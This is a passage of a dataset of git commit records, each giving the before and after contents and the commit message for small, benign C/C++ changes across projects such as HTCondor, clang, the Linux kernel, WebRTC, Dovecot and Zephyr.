sure to mark all the methods in the dynamic sizing data source as required\n","lang":"C","license":"lgpl-2.1","repos":"xNUTs\/MIT-Mobile-for-iOS,xNUTs\/MIT-Mobile-for-iOS,smartcop\/MIT-Mobile-for-iOS,MIT-Mobile\/MIT-Mobile-for-iOS,smartcop\/MIT-Mobile-for-iOS,MIT-Mobile\/MIT-Mobile-for-iOS"}
{"commit":"0aec39c69e2f002dd5020272f30bf1f488ce4815","old_file":"src\/condor_ckpt\/machdep.old.h","new_file":"src\/condor_ckpt\/machdep.old.h","old_contents":"#include <setjmp.h>\n\n\/*\n  Portability: A single method works on all the platforms we have tried\n  so far, but this may not be true for all platforms.\n*\/\n#if defined(ULTRIX42) || defined(ULTRIX43) || defined(SUNOS41)\n#\tdefine SETJMP _setjmp\n#\tdefine LONGJMP _longjmp\n\textern \"C\" {\n\t\tint SETJMP( jmp_buf env );\n\t\tvoid LONGJMP( jmp_buf env, int retval );\n\t}\n#else\n\t\/\/ Unknown platforms fall through to here, generating compile time error\n#\terror\n#endif\n\n\nint data_start_addr();\nint data_end_addr();\nint stack_start_addr();\nint stack_end_addr();\nvoid ExecuteOnTmpStk( void (*func)() );\n","new_contents":"#include <setjmp.h>\n#include <sys\/param.h>\n#include <sys\/vmparam.h>\n\n\/*\n  Portability: A single method works on all the platforms we have tried\n  so far, but this may not be true for all platforms.\n*\/\n#if defined(ULTRIX42) || defined(ULTRIX43) || defined(SUNOS41)\n#\tdefine SETJMP _setjmp\n#\tdefine LONGJMP _longjmp\n\textern \"C\" {\n\t\tint SETJMP( jmp_buf env );\n\t\tvoid LONGJMP( jmp_buf env, int retval );\n\t}\n#else\n\t\/\/ Unknown platforms fall through to here, generating compile time error\n#\terror\n#endif\n\n\nint data_start_addr();\nint data_end_addr();\nint stack_start_addr();\nint stack_end_addr();\nvoid ExecuteOnTmpStk( void (*func)() );\n","subject":"Include both <sys\/param.h> and <sys\/vmparam.h> since both SUNOS and ULTRIX will need them.","message":"Include both <sys\/param.h> and <sys\/vmparam.h> since both SUNOS and\nULTRIX will need them.\n","lang":"C","license":"apache-2.0","repos":"htcondor\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,zhangzhehust\/htcondor,djw8605\/condor,djw8605\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,djw8605\/htcondor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,djw8605\/condor,neurodebian\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,neurodebian\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,djw8605\/condor,djw8605\/condor,clalancette\/condor-dcloud,htcondor\/htcondor,htcondor\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,djw8605\/condor,mambelli\/osg-bosco-marco,djw8605\/condor,zhangzhehust\/htcondor,htcondor\/htcondor,mambelli\/osg-bosco-marco,neurodebian\/htcondor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,djw8605\/condor,djw8605\/condor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,zhangzhehust\/htcondor,htcondor\/htcondor,bbockelm\/condor-network-accounting,neurodebian\/htcondor"}
{"commit":"b41a7d20027f4730f34885ebbca539d9fdb78c9c","old_file":"test\/CodeGen\/address-space.c","new_file":"test\/CodeGen\/address-space.c","old_contents":"\/\/ RUN: clang -emit-llvm < %s 2>&1 | grep 'addrspace(1)' | count 5\nint foo __attribute__((address_space(1)));\nint ban[10] __attribute__((address_space(1)));\n\nint bar() { return foo; }\n\nint baz(int i) { return ban[i]; }","new_contents":"\/\/ RUN: clang -emit-llvm < %s 2>&1 | grep 'addrspace(1)' | count 5\nint foo __attribute__((address_space(1)));\nint ban[10] __attribute__((address_space(1)));\n\nint bar() { return foo; }\n\nint baz(int i) { return ban[i]; }\n","subject":"Add ending newline to test.","message":"Add ending newline to test.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@46692 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"cbbe9c8b5c645affee7aadc2d6aebb989de81989","old_file":"src\/libmv\/base\/id_generator.h","new_file":"src\/libmv\/base\/id_generator.h","old_contents":"","new_contents":"\/\/ Copyright (c) 2007, 2008 libmv authors.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to\n\/\/ deal in the Software without restriction, including without limitation the\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/ IN THE SOFTWARE.\n\n#ifndef LIBMV_ID_GENERATOR_H\n#define LIBMV_ID_GENERATOR_H\n\nnamespace libmv {\n\nclass IdGenerator {\n public:\n  IdGenerator() : next_(0) {}\n  uint Generate() { return next_++; }\n private:\n  uint next_;\n};\n\n}  \/\/ namespace libmv\n\n#endif  \/\/ LIBMV_ID_GENERATOR_H\n","subject":"Add another missing file :(","message":"Add another missing file :(\n\n","lang":"C","license":"mit","repos":"SoylentGraham\/libmv,rgkoo\/libmv-blender,keir\/libmv,rgkoo\/libmv-blender,Nazg-Gul\/libmv,petertsoi\/libmv,petertsoi\/libmv,keir\/libmv,libmv\/libmv,libmv\/libmv,petertsoi\/libmv,libmv\/libmv,rgkoo\/libmv-blender,Nazg-Gul\/libmv,SoylentGraham\/libmv,Nazg-Gul\/libmv,petertsoi\/libmv,Nazg-Gul\/libmv,rgkoo\/libmv-blender,Nazg-Gul\/libmv,rgkoo\/libmv-blender,keir\/libmv,SoylentGraham\/libmv,keir\/libmv,libmv\/libmv,SoylentGraham\/libmv"}
{"commit":"25110f8d507c8432ac6849e2682a40983f752d8e","old_file":"config.def.h","new_file":"config.def.h","old_contents":"#ifdef HAVE_FORK\n#define HAVE_FORK 1\n#endif\n\n#if HAVE_FORK\n# if TARGET_OS_IPHONE || APPLE_SDK_IPHONEOS\n#  define HAVE_SYSTEM 0\n# else\n#  define HAVE_SYSTEM 1\n# endif\n#else\n# define HAVE_SYSTEM 0\n#endif\n\n#if HAVE_SYSTEM\n#include \"p\/sh.h\"\n#endif\n\n#include \"p\/spp.h\"\n#include \"p\/acr.h\"\n#include \"p\/pod.h\"\n#include \"p\/cpp.h\"\n\nstruct Proc *procs[] = {\n\t&spp_proc,\n\t&cpp_proc,\n\t&pod_proc,\n\t&acr_proc,\n#if HAVE_SYSTEM\n\t&sh_proc,\n#endif\n\tNULL\n};\n\nDEFAULT_PROC(spp)\n\n#define DEBUG 0\n","new_contents":"#ifdef HAVE_FORK\n#define HAVE_FORK 1\n#endif\n\n#if HAVE_FORK\n# if TARGET_OS_IPHONE || APPLE_SDK_IPHONEOS || APPLE_SDK_IPHONESIMULATOR\n#  define HAVE_SYSTEM 0\n# else\n#  define HAVE_SYSTEM 1\n# endif\n#else\n# define HAVE_SYSTEM 0\n#endif\n\n#if HAVE_SYSTEM\n#include \"p\/sh.h\"\n#endif\n\n#include \"p\/spp.h\"\n#include \"p\/acr.h\"\n#include \"p\/pod.h\"\n#include \"p\/cpp.h\"\n\nstruct Proc *procs[] = {\n\t&spp_proc,\n\t&cpp_proc,\n\t&pod_proc,\n\t&acr_proc,\n#if HAVE_SYSTEM\n\t&sh_proc,\n#endif\n\tNULL\n};\n\nDEFAULT_PROC(spp)\n\n#define DEBUG 0\n","subject":"Fix build for the iPhone Simulator","message":"Fix build for the iPhone Simulator\n","lang":"C","license":"mit","repos":"radare\/spp,radare\/spp,radare\/spp,radare\/spp"}
{"commit":"7c3bd324629ef4acd69b8c9eed9379c872283916","old_file":"include\/matrix_constructors_impl.h","new_file":"include\/matrix_constructors_impl.h","old_contents":"\/\/-----------------------------------------------------------------------------\n\/\/ Constructors\n\/\/-----------------------------------------------------------------------------\n\ntemplate<class T>\nmatrix<T>::matrix():data_(),rows_(0),cols_(0){}\ntemplate<class T>\nmatrix<T>::matrix( std::size_t rows, std::size_t cols ):\n    data_(rows*cols),rows_(rows),cols_(cols){}\ntemplate<class T>\nmatrix<T>::matrix( std::initializer_list<std::initializer_list<T>> init_list):\n    data_( init_list.size() * init_list.begin()->size() ),\n    rows_(init_list.size()),cols_( init_list.begin()->size() ){\n  \/\/ TODO: copy values\n}\n\/*\ntemplate<class T>\nmatrix<T>::matrix( const matrix& );\ntemplate<class T>\nmatrix<T>::matrix( matrix&& );\n*\/\n\n","new_contents":"\/\/-----------------------------------------------------------------------------\n\/\/ Constructors\n\/\/-----------------------------------------------------------------------------\n\ntemplate<class T>\nmatrix<T>::matrix():data_(),rows_(0),cols_(0){}\ntemplate<class T>\nmatrix<T>::matrix( std::size_t rows, std::size_t cols ):\n    data_(rows*cols),rows_(rows),cols_(cols){}\ntemplate<class T>\nmatrix<T>::matrix( std::initializer_list<std::initializer_list<T>> init_list):\n    data_( init_list.size() * init_list.begin()->size() ),\n    rows_(init_list.size()),cols_( init_list.begin()->size() ){\n  \/\/ TODO: copy values\n  \/\/ Or create concat function for init_list and use it to initialize\n  \/\/ data_ vector.\n}\n\/*\ntemplate<class T>\nmatrix<T>::matrix( const matrix& );\ntemplate<class T>\nmatrix<T>::matrix( matrix&& );\n*\/\n\n","subject":"Add comment about init_list constructor.","message":"Add comment about init_list constructor.\n","lang":"C","license":"mit","repos":"actinium\/cppMatrix,actinium\/cppMatrix"}
{"commit":"e17247a4550b9c9b3394ea378b61ecea17a75da3","old_file":"Linkedlists\/02.c","new_file":"Linkedlists\/02.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\ntypedef struct n\n{\n  int data;\n  struct n * next;\n} node;\n\n\/* Print Linked list values *\/\nvoid showList(node * list){\n  int i = 1;\n  while( list != NULL){\n    printf(\"#%d. node, data: %d at pointed: %p, and points to %p\\n\", i, list->data, list, list->next);\n    list = list->next;\n    i++;\n  }\n}\n\nint main(){\n\n  node * root;\n  \/* First Node Allocation *\/\n  root = (node *) malloc(sizeof(node));\n  root->data = 0;\n  root->next = NULL;\n  \/* Create another 9 nodes in the list. *\/\n  node * iter = root;\n  for(int i = 1; i < 10; i++){\n    iter->next = (node *) malloc(sizeof(node));\n    iter = iter->next;\n    iter->data = i*10;\n    iter->next = NULL;\n  }\n  showList(root);\n  return 0;\n}\n\n\/*\n-- Resulted as --\n#1. node, data: 0 at pointed: 00541738, and points to 00541768\n#2. node, data: 10 at pointed: 00541768, and points to 00541778\n#3. node, data: 20 at pointed: 00541778, and points to 00541788\n#4. node, data: 30 at pointed: 00541788, and points to 00541798\n#5. node, data: 40 at pointed: 00541798, and points to 005417A8\n#6. node, data: 50 at pointed: 005417A8, and points to 005417B8\n#7. node, data: 60 at pointed: 005417B8, and points to 005417C8\n#8. node, data: 70 at pointed: 005417C8, and points to 005417D8\n#9. node, data: 80 at pointed: 005417D8, and points to 005417E8\n#10. node, data: 90 at pointed: 005417E8, and points to 00000000\n*\/\n","subject":"Add another nodes by for loop way.","message":"Add another nodes by for loop way.\n","lang":"C","license":"mit","repos":"enverarslan\/DataStructures"}
{"commit":"d1bc8e95445224276d7896b8b08cbb0b28a0ca80","old_file":"include\/linux\/err.h","new_file":"include\/linux\/err.h","old_contents":"#ifndef _LINUX_ERR_H\n#define _LINUX_ERR_H\n\n#include <linux\/compiler.h>\n\n#include <asm\/errno.h>\n\n\/*\n * Kernel pointers have redundant information, so we can use a\n * scheme where we can return either an error code or a dentry\n * pointer with the same return value.\n *\n * This should be a per-architecture thing, to allow different\n * error and pointer decisions.\n *\/\n#define MAX_ERRNO\t4095\n\n#ifndef __ASSEMBLY__\n\n#define IS_ERR_VALUE(x) unlikely((x) >= (unsigned long)-MAX_ERRNO)\n\nstatic inline void *ERR_PTR(long error)\n{\n\treturn (void *) error;\n}\n\nstatic inline long PTR_ERR(const void *ptr)\n{\n\treturn (long) ptr;\n}\n\nstatic inline long IS_ERR(const void *ptr)\n{\n\treturn IS_ERR_VALUE((unsigned long)ptr);\n}\n\n#endif\n\n#endif \/* _LINUX_ERR_H *\/\n","new_contents":"#ifndef _LINUX_ERR_H\n#define _LINUX_ERR_H\n\n#include <linux\/compiler.h>\n\n#include <asm\/errno.h>\n\n\/*\n * Kernel pointers have redundant information, so we can use a\n * scheme where we can return either an error code or a dentry\n * pointer with the same return value.\n *\n * This should be a per-architecture thing, to allow different\n * error and pointer decisions.\n *\/\n#define MAX_ERRNO\t4095\n\n#ifndef __ASSEMBLY__\n\n#define IS_ERR_VALUE(x) unlikely((x) >= (unsigned long)-MAX_ERRNO)\n\nstatic inline void *ERR_PTR(long error)\n{\n\treturn (void *) error;\n}\n\nstatic inline long PTR_ERR(const void *ptr)\n{\n\treturn (long) ptr;\n}\n\nstatic inline long IS_ERR(const void *ptr)\n{\n\treturn IS_ERR_VALUE((unsigned long)ptr);\n}\n\n\/**\n * ERR_CAST - Explicitly cast an error-valued pointer to another pointer type\n * @ptr: The pointer to cast.\n *\n * Explicitly cast an error-valued pointer to another pointer type in such a\n * way as to make it clear that's what's going on.\n *\/\nstatic inline void *ERR_CAST(const void *ptr)\n{\n\t\/* cast away the const *\/\n\treturn (void *) ptr;\n}\n\n#endif\n\n#endif \/* _LINUX_ERR_H *\/\n","subject":"Add an ERR_CAST() function to complement ERR_PTR and co.","message":"Add an ERR_CAST() function to complement ERR_PTR and co.\n\nAdd an ERR_CAST() function to complement ERR_PTR and co.  for the purposes\nof casting an error entyped as one pointer type to an error of another\npointer type whilst making it explicit as to what is going on.\n\nThis provides a replacement for the ERR_PTR(PTR_ERR(p)) construct.\n\nSigned-off-by: David Howells <ebac1d06c1688626821bb0e574a037a7a5354e49@redhat.com>\nSigned-off-by: Andrew Morton <5c1e68b099950c134891f0b6e179498a8ebe9cf9@linux-foundation.org>\nSigned-off-by: Linus Torvalds <69652caca27c8b940640ad396ab71f93cacec34f@linux-foundation.org>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"ef63a5a9f90205a0d9067b3b27d44118fd195bdb","old_file":"sift\/recorder\/threads.h","new_file":"sift\/recorder\/threads.h","old_contents":"#ifndef __THREAD_INFO_H\n#define __THREAD_INFO_H\n\n#include \"globals.h\"\n#include \"sift_writer.h\"\n#include \"bbv_count.h\"\n\n#include \"pin.H\"\n#include <deque>\n\ntypedef struct {\n   Sift::Writer *output;\n   ADDRINT dyn_addresses[Sift::MAX_DYNAMIC_ADDRESSES];\n   UINT32 num_dyn_addresses;\n   Bbv *bbv;\n   UINT64 thread_num;\n   ADDRINT bbv_base;\n   UINT64 bbv_count;\n   ADDRINT bbv_last;\n   BOOL bbv_end;\n   UINT64 blocknum;\n   UINT64 icount;\n   UINT64 icount_cacheonly;\n   UINT64 icount_cacheonly_pending;\n   UINT64 icount_detailed;\n   UINT64 icount_reported;\n   ADDRINT last_syscall_number;\n   ADDRINT last_syscall_returnval;\n   UINT64 flowcontrol_target;\n   ADDRINT tid_ptr;\n   ADDRINT last_routine;\n   ADDRINT last_call_site;\n   BOOL last_syscall_emulated;\n   BOOL running;\n} __attribute__((packed,aligned(LINE_SIZE_BYTES))) thread_data_t;\n\nextern thread_data_t *thread_data;\n\nvoid initThreads();\n\n#endif \/\/ __THREAD_INFO_H\n","new_contents":"#ifndef __THREAD_INFO_H\n#define __THREAD_INFO_H\n\n#include \"globals.h\"\n#include \"sift_writer.h\"\n#include \"bbv_count.h\"\n\n#include \"pin.H\"\n#include <deque>\n\ntypedef struct {\n   Sift::Writer *output;\n   UINT64 dyn_addresses[Sift::MAX_DYNAMIC_ADDRESSES];\n   UINT32 num_dyn_addresses;\n   Bbv *bbv;\n   UINT64 thread_num;\n   ADDRINT bbv_base;\n   UINT64 bbv_count;\n   ADDRINT bbv_last;\n   BOOL bbv_end;\n   UINT64 blocknum;\n   UINT64 icount;\n   UINT64 icount_cacheonly;\n   UINT64 icount_cacheonly_pending;\n   UINT64 icount_detailed;\n   UINT64 icount_reported;\n   ADDRINT last_syscall_number;\n   ADDRINT last_syscall_returnval;\n   UINT64 flowcontrol_target;\n   ADDRINT tid_ptr;\n   ADDRINT last_routine;\n   ADDRINT last_call_site;\n   BOOL last_syscall_emulated;\n   BOOL running;\n} __attribute__((packed,aligned(LINE_SIZE_BYTES))) thread_data_t;\n\nextern thread_data_t *thread_data;\n\nvoid initThreads();\n\n#endif \/\/ __THREAD_INFO_H\n","subject":"Fix 32-bit compile by making the per-thread address data 64-bit","message":"[recorder] Fix 32-bit compile by making the per-thread address data 64-bit\n","lang":"C","license":"mit","repos":"abanaiyan\/sniper,abanaiyan\/sniper,abanaiyan\/sniper,abanaiyan\/sniper,abanaiyan\/sniper"}
{"commit":"b9d54ddf6698d75309f2ea4b0dbd8fb2b5f63517","old_file":"common_video\/interface\/texture_video_frame.h","new_file":"common_video\/interface\/texture_video_frame.h","old_contents":"","new_contents":"\/*\n *  Copyright (c) 2015 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#ifndef COMMON_VIDEO_INTERFACE_TEXTURE_VIDEO_FRAME_H\n#define COMMON_VIDEO_INTERFACE_TEXTURE_VIDEO_FRAME_H\n\n#include \"webrtc\/common_video\/interface\/i420_video_frame.h\"\n\n\/\/ TODO(magjed): Remove this when all external dependencies are updated.\nnamespace webrtc {\n\ntypedef I420VideoFrame TextureVideoFrame;\n\n}  \/\/ namespace webrtc\n\n#endif  \/\/ COMMON_VIDEO_INTERFACE_TEXTURE_VIDEO_FRAME_H\n","subject":"Add intermediate TextureVideoFrame typedef for Chromium","message":"Add intermediate TextureVideoFrame typedef for Chromium\n\nBUG=1128\nR=perkj@webrtc.org\nTBR=stefan\n\nReview URL: https:\/\/webrtc-codereview.appspot.com\/42239004\n\ngit-svn-id: 03ae4fbe531b1eefc9d815f31e49022782c42458@8630 4adac7df-926f-26a2-2b94-8c16560cd09d\n","lang":"C","license":"bsd-3-clause","repos":"svn2github\/webrtc-Revision-8758,svn2github\/webrtc-Revision-8758,svn2github\/webrtc-Revision-8758,svn2github\/webrtc-Revision-8758,svn2github\/webrtc-Revision-8758,svn2github\/webrtc-Revision-8758"}
{"commit":"c5ae794fe0663a31138d5e248076a9dbd6bafa76","old_file":"src\/flsputils.c","new_file":"src\/flsputils.c","old_contents":"","new_contents":"#include <math.h>\n#include <glib.h>\n#include <gtk\/gtk.h>\n#include \"fake-lock-screen-pattern.h\"\n\nvoid flsp_draw_circle(cairo_t *context, gint x, gint y,\n                      gint radius, GdkRGBA circle, GdkRGBA border)\n{\n  cairo_set_line_width(context, 9);\n  cairo_set_source_rgb(context, border.red, border.green, border.blue);\n  cairo_arc(context, x, y, radius, 0, 2 * M_PI);\n  cairo_stroke_preserve(context);\n  cairo_set_source_rgb(context, circle.red, circle.green, circle.blue);\n  cairo_fill(context);\n}\n","subject":"Implement function to draw circle","message":"Implement function to draw circle\n","lang":"C","license":"mit","repos":"kenhys\/fake-lock-screen-pattern,kenhys\/fake-lock-screen-pattern"}
{"commit":"9af5280bb7f53ddff998b69ad6007349ffcfeb7c","old_file":"src\/lib\/ioloop-notify-none.c","new_file":"src\/lib\/ioloop-notify-none.c","old_contents":"\/* Copyright (C) 2003 Timo Sirainen *\/\n\n#include \"lib.h\"\n#include \"ioloop-internal.h\"\n\n#ifdef IOLOOP_NOTIFY_NONE\n\nstruct io *io_loop_notify_add(struct ioloop *ioloop __attr_unused__,\n\t\t\t      const char *path __attr_unused__,\n\t\t\t      io_callback_t *callback __attr_unused__,\n\t\t\t      void *context __attr_unused__)\n{\n\treturn NULL;\n}\n\nvoid io_loop_notify_remove(struct ioloop *ioloop __attr_unused__,\n\t\t\t   struct io *io __attr_unused__)\n{\n}\n\nvoid io_loop_notify_handler_init(struct ioloop *ioloop __attr_unused__)\n{\n}\n\nvoid io_loop_notify_handler_deinit(struct ioloop *ioloop __attr_unused__)\n{\n}\n\n#endif\n","new_contents":"\/* Copyright (C) 2003 Timo Sirainen *\/\n\n#include \"lib.h\"\n#include \"ioloop-internal.h\"\n\n#ifdef IOLOOP_NOTIFY_NONE\n\n#undef io_add_notify\nstruct io *io_add_notify(const char *path __attr_unused__,\n\t\t\t io_callback_t *callback __attr_unused__,\n\t\t\t void *context __attr_unused__)\n{\n\treturn NULL;\n}\n\nvoid io_loop_notify_remove(struct ioloop *ioloop __attr_unused__,\n\t\t\t   struct io *io __attr_unused__)\n{\n}\n\nvoid io_loop_notify_handler_deinit(struct ioloop *ioloop __attr_unused__)\n{\n}\n\n#endif\n","subject":"Fix for building without notify","message":"Fix for building without notify\n","lang":"C","license":"mit","repos":"LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot"}
{"commit":"7197e7747848558933d7ee48da1d4ffd5ddc335b","old_file":"libsel4muslccamkes\/src\/sys_yield.c","new_file":"libsel4muslccamkes\/src\/sys_yield.c","old_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdarg.h>\n#include <sel4\/sel4.h>\n\nlong sys_sched_yield(va_list ap)\n{\n    seL4_Yield();\n    return 0;\n}\n","new_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdarg.h>\n#include <sel4\/sel4.h>\n\nlong sys_sched_yield(va_list ap)\n{\n    \/* won't work *\/\n    return 0;\n}\n","subject":"Remove seL4_Yield() since it's removed from the RT kernel.","message":"Remove seL4_Yield() since it's removed from the RT kernel.\n\nJIRA CAMKES-429\n","lang":"C","license":"bsd-2-clause","repos":"smaccm\/camkes-tool,smaccm\/camkes-tool,smaccm\/camkes-tool,smaccm\/camkes-tool"}
{"commit":"4afc72fe4adaa08c52b1b5fcbd7ef76ff60404b2","old_file":"Sift\/SFDebug.h","new_file":"Sift\/SFDebug.h","old_contents":"\/\/ Copyright (c) 2016 Sift Science. All rights reserved.\n\n@import Foundation;\n\n\/** Debug output that can be turned on\/off by SF_DEBUG_ENABLE macro. *\/\n#ifdef SF_DEBUG_ENABLE\n#define SF_DEBUG(FORMAT, ...) NSLog(@\"%s:%d \" FORMAT, __FUNCTION__, __LINE__, ## __VA_ARGS__)\n#else\n#define SF_DEBUG(...)\n#endif\n\n\/** Log messages to console that are important to the SDK users. *\/\n#ifdef DEBUG\n#define SF_IMPORTANT(FORMAT, ...) NSLog(@\"%s:%d \" FORMAT, __FUNCTION__, __LINE__, ## __VA_ARGS__)\n#endif\n","new_contents":"\/\/ Copyright (c) 2016 Sift Science. All rights reserved.\n\n@import Foundation;\n\n\/** Debug output that can be turned on\/off by SF_DEBUG_ENABLE macro. *\/\n#ifdef SF_DEBUG_ENABLE\n#define SF_DEBUG(FORMAT, ...) NSLog(@\"%s:%d \" FORMAT, __FUNCTION__, __LINE__, ## __VA_ARGS__)\n#else\n#define SF_DEBUG(...)\n#endif\n\n\/** Log messages to console that are important to the SDK users. *\/\n#ifdef DEBUG\n#define SF_IMPORTANT(FORMAT, ...) NSLog(@\"%s:%d \" FORMAT, __FUNCTION__, __LINE__, ## __VA_ARGS__)\n#else\n#define SF_IMPORTANT(...)\n#endif\n","subject":"Add empty SF_IMPORTANT macro for release build","message":"Add empty SF_IMPORTANT macro for release build\n","lang":"C","license":"mit","repos":"SiftScience\/sift-ios,SiftScience\/sift-ios,SiftScience\/sift-ios,SiftScience\/sift-ios"}
{"commit":"1980b7bb0ffee0750ed832fc1b474c6ae6e85b00","old_file":"lib\/libc\/minimal\/include\/stddef.h","new_file":"lib\/libc\/minimal\/include\/stddef.h","old_contents":"\/* stddef.h *\/\n\n\/*\n * Copyright (c) 2014 Wind River Systems, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef __INC_stddef_h__\n#define __INC_stddef_h__\n\n#include <bits\/null.h>\n#include <bits\/size_t.h>\n\n#if !defined(__ptrdiff_t_defined)\n#define __ptrdiff_t_defined\ntypedef int  ptrdiff_t;\n#endif\n\n#define offsetof(type, member) ((size_t) (&((type *) NULL)->member))\n\n#endif \/* __INC_stddef_h__ *\/\n","new_contents":"\/* stddef.h *\/\n\n\/*\n * Copyright (c) 2014 Wind River Systems, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef __INC_stddef_h__\n#define __INC_stddef_h__\n\n#include <bits\/null.h>\n#include <bits\/size_t.h>\n\n#if !defined(__ptrdiff_t_defined)\n#define __ptrdiff_t_defined\ntypedef int  ptrdiff_t;\n#endif\n\n#if defined(__GNUC__)\n#define offsetof(type, member)  __builtin_offsetof(type, member)\n#else\n#define offsetof(type, member) ((size_t) (&((type *) NULL)->member))\n#endif\n\n#endif \/* __INC_stddef_h__ *\/\n","subject":"Use offsetof() builtin with GCC","message":"lib: Use offsetof() builtin with GCC\n\nThe default offsetof() implementation generates a warning\n(variably modified <variable> at file scope) when used in\nto define the size of an array. By using this builtin with\nGCC we avoid the warning and make sure no variable-size\narrays are used.\n\nChange-Id: Iae215f777241f7daaa061067230086dffaa8311d\nSigned-off-by: Carles Cufi 